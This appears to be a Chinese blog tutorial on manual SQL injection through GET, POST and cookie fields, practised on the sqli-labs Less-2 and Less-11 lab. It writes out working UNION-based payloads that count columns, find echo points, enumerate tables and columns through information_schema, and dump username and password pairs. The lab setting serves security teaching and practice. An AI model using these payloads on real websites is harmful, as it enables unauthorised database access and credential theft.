GET和POST提交的手工SQL注入

目录

数据提交方式

get提交

post提交

手工注入的流程

1.判断注入点

get提交(sqli-labs/Less-2为例)

post提交(sqli-labs/Less-11为例)

2.猜解列名数量

get提交(sqli-labs/Less-2为例)

post提交(sqli-labs/Less-11为例)

3.判断回显点​​​

get提交(sqli-labs/Less-2为例)

post提交(sqli-labs/Less-11为例)

4.信息收集

get提交(sqli-labs/Less-2为例)

post提交(sqli-labs/Less-11为例)

4.SQL注入

get提交(sqli-labs/Less-2为例)

post提交(sqli-labs/Less-11为例)

 补充:cookie型注入


使用的软件:phpstudy(MySQL5.7.26,PHP5.3.29),sqli-labs靶场,Burp Suite,HackBar插件,谷歌浏览器,win11

温馨提示:本文章关于如何安装sqli-labs靶场BurpSuite等知识点可以网上搜索,或者留言问我都可以,在这篇文章主要讲如何用不同的提交方式手工SQL注入。

数据提交方式

数据提交方式有好多种最为常见的就是get,post

  • get提交

    • get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入
    • 使用场景:非核心数据,不敏感的数据
    • 优缺点
      • 安全性不高
      • 数据长度有限(2Kb)
      • 速度很快
  • post提交

    • post提交方式主要适用于表单的提交,用于登录框的注入
    • 方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示
    • 场景:用于登录页面
    • 优缺点
      • 安全性高
      • 长度无限
      • 速度不算很快

靶场演练 

演练靶场为sqli-labs/Less-2sqli-labs/Less-11

手工注入的流程

1.判断注入点

尝试输入一些特殊字符,如单引号(')、分号(;)或者最常见的 and 1 = 1; 等,并观察页面是否出现异常现象,如错误提示、数据库报错等。如果出现异常则很有可能存在 SQL 注入漏洞,注意出现404说明对方有WAF防火墙不是有注入点。

  • get提交(sqli-labs/Less-2为例

?id=1 and 1=-1

 当我在?id=1后面加入了and 1=-1报错的方式判断是否有注入点

post提交(sqli-labs/Less-11为例

post判断和get的原理是一样的,但在判断post是用到工具BurpSuite,用它来抓包,实现SQL注入

先用输入随意的账号密码用BurpSuite抓包

 也是用and 1=2的基于报错的方式来判断是否有注入点,但不同的是我们会写在账号或秘密的后面

'and 1=2--+

注意:and的前面有一个单引号('),这是因为账号密码提交时字符串类型在数据库中要用单引号括起来,--+:是注释掉后面的语句。

2.猜解列名数量

order by    #排序函数
  • 在MySQL里有学过这是排序函数 ,但在sql注入中我们可以利用它来猜数据库的列名数量

get提交(sqli-labs/Less-2为例

?id =1 order by 3

我在order by 后面加上数字来猜解列名数量。当我输入4是报错了,但输入3是没问题 说明数据库列名的数量是3

通过猜解来看很显然是列名数量是3

  • post提交(sqli-labs/Less-11为例

’ order by 2--+

 当数字3是提示报错了,说明列名数量是2

3.判断回显点​​​

上一步是为了判断回显点做的铺地点

union    #合并函数
  • MySQL的语句这是合并函数,但我们在sql注入时可以用它来判断回显

  • get提交(sqli-labs/Less-2为例

?id=-1 union select 1,2,3
  • 为什么是1,2,3呢不能是1,2,3,4,5,6吗?是因为在上一步中我们得到了数据库列名数量是3,所以是三个数字,具体数字几不重要,重要的是通过这个判断出他的回显点
  • 在这里 -1 的原因是,前面的查询结果和union后面的查询结果不干扰,所以当第一条查询语句报错了,它后面的123才能判断那些地方能回显

很显然数字 2 ,3的位置是回显点

  • post提交(sqli-labs/Less-11为例

123' union select 1,2  --+

 跟get不一样都是把原本的名字改成其他的,这跟get的-1是一个原理

4.信息收集

在回显点上写上想要的信息(比如数据库名称,数据库版本,等等)

database()    #数据库名称

version()    #数据库版本
  • 补充:MySQL高版本:5.0以上(有系统库),MySQL低版本:5.0一下(没有系统库)。系统库在SQL中也很重要的一个知识点

  • get提交(sqli-labs/Less-2为例

?id=-1 union select 1,version(),database()

  • post提交(sqli-labs/Less-11为例

123' union select database(),version() --+

4.SQL注入

我们通过刚才找到的回显点来输入一些sql语句来注入这个网站

get提交(sqli-labs/Less-2为例

1.查询serurity库下面 所有的表名(serurity是在上一步信息收集中得到的数据库名)

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables
  • SELECT 1, GROUP_CONCAT(table_name), 3
    • 第一列为数字 1(没有回显点所以写了也没用)。
    • 第二列使用 GROUP_CONCAT() 函数将所有表名连接为一个字符串。
    • 第三列为数字 3。这样可以通过结果集中的第二列获取到所有表名。
  • FROM information_schema.tables
    • 从数据库中的 information_schema.tables 表中查询表的信息。
  • HERE table_schema = database()
    • 这里通过条件 table_schema = database() 来过滤表,确保只返回与当前数据库匹配的表。

得到的信息:emails,referers,uagents,users

2.users查询表里面有那些字段(通过上一步猜解出来的表中这个表可能对我们有用)

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
  • FROM information_schema.columns
    • 从数据库的 information_schema.columns 表中查询列信息。
  • WHERE table_name = 0x7573657273
    • 通过条件 table_name = 0x7573657273 来过滤表,其中 0x7573657273 是表名 "users" 的十六进制编码,有时网址那里不认 ,就可以改成十六进制就好了

得到的数据:id,username,password

3.获取username password 字段数据(username password是上一步中猜解出来的认为有用的字段)

?id=-1 union select 1,2,(select group_concat(username,0x3a,password)from users)
  • (SELECT group_concat(username, 0x3a, password) FROM users)
    • 这是一个子查询,用于获取用户表中的用户名和密码。其中,group_concat() 函数将用户名和密码连接为一个字符串,并使用 0x3a 分隔符分隔。users 是查询的目标表名。

  • post提交(sqli-labs/Less-11为例

1.查询serurity库下面 所有的表名(serurity是在上一步信息收集中得到的数据库名)

123' union select group_concat(table_name),2 from information_schema.tables--+

2.users查询表里面有那些字段(通过上一步猜解出来的表中这个表可能对我们有用)

123' union select group_concat(column_name),2 from information_schema.columns where table_name=0x7573657273--+

3.获取username password 字段数据(username password是上一步中猜解出来的认为有用的字段)

123' union select 1,(select group_concat(username,0x3a,password)from users)--+

 补充:cookie型注入

cookie型注入和post很像但唯一的区别是前面有一个注入点名称前面有cookie

cookie:uname=-zhangsan' union select 1,2,database()--+&passwd=123123&submit=Submit

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值